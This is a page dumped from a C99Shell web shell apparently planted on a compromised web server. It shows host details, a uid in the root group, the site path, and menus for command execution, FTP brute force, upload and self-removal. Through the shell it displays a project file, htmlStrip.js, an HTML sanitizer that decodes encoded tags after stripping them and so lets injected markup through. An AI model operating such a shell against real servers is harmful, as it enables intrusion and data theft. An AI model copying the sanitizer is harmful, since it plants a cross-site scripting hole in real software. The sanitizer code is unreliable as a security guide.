!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/rentals.picotech.app/public_html/server/utils/   drwxr-xr-x
Free 23.55 GB of 117.98 GB (19.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     htmlStrip.js (2.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/**
 * Strip all HTML tags from input
 * @param {string} input - Input string that may contain HTML
 * @returns {string} - Clean string without HTML tags
 */
export const stripHtmlTags = (input) => {
    if (!input || typeof input !== 'string') return input;

    // Remove all HTML tags
    let cleaned = input.replace(/<[^>]*>/g, '');

    // Decode HTML entities
    cleaned = cleaned
        .replace(/&lt;/g, '<')
        .replace(/&gt;/g, '>')
        .replace(/&amp;/g, '&')
        .replace(/&quot;/g, '"')
        .replace(/&#x27;/g, "'")
        .replace(/&#x2F;/g, '/');

    // Remove any remaining script content
    cleaned = cleaned.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '');

    return cleaned.trim();
};

/**
 * Validate that input doesn't contain HTML tags
 * @param {string} input - Input to validate
 * @returns {boolean} - True if valid (no HTML), false otherwise
 */
export const isValidNoHtml = (input) => {
    if (!input || typeof input !== 'string') return true;

    // Check for HTML tags
    const htmlTagPattern = /<[^>]*>/;
    return !htmlTagPattern.test(input);
};

/**
 * Sanitize object by stripping HTML from all string values
 * @param {object} obj - Object to sanitize
 * @returns {object} - Sanitized object
 */
export const stripHtmlFromObject = (obj) => {
    if (!obj || typeof obj !== 'object') return obj;

    const sanitized = { ...obj };

    for (const key in sanitized) {
        if (typeof sanitized[key] === 'string') {
            sanitized[key] = stripHtmlTags(sanitized[key]);
        } else if (typeof sanitized[key] === 'object' && sanitized[key] !== null) {
            sanitized[key] = stripHtmlFromObject(sanitized[key]);
        }
    }

    return sanitized;
};

/**
 * Express middleware to strip HTML tags from request body
 */
export const stripHtmlMiddleware = (req, res, next) => {
    if (req.body && typeof req.body === 'object') {
        req.body = stripHtmlFromObject(req.body);
    }

    if (req.query && typeof req.query === 'object') {
        req.query = stripHtmlFromObject(req.query);
    }

    next();
};

export default {
    stripHtmlTags,
    isValidNoHtml,
    stripHtmlFromObject,
    stripHtmlMiddleware
};

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--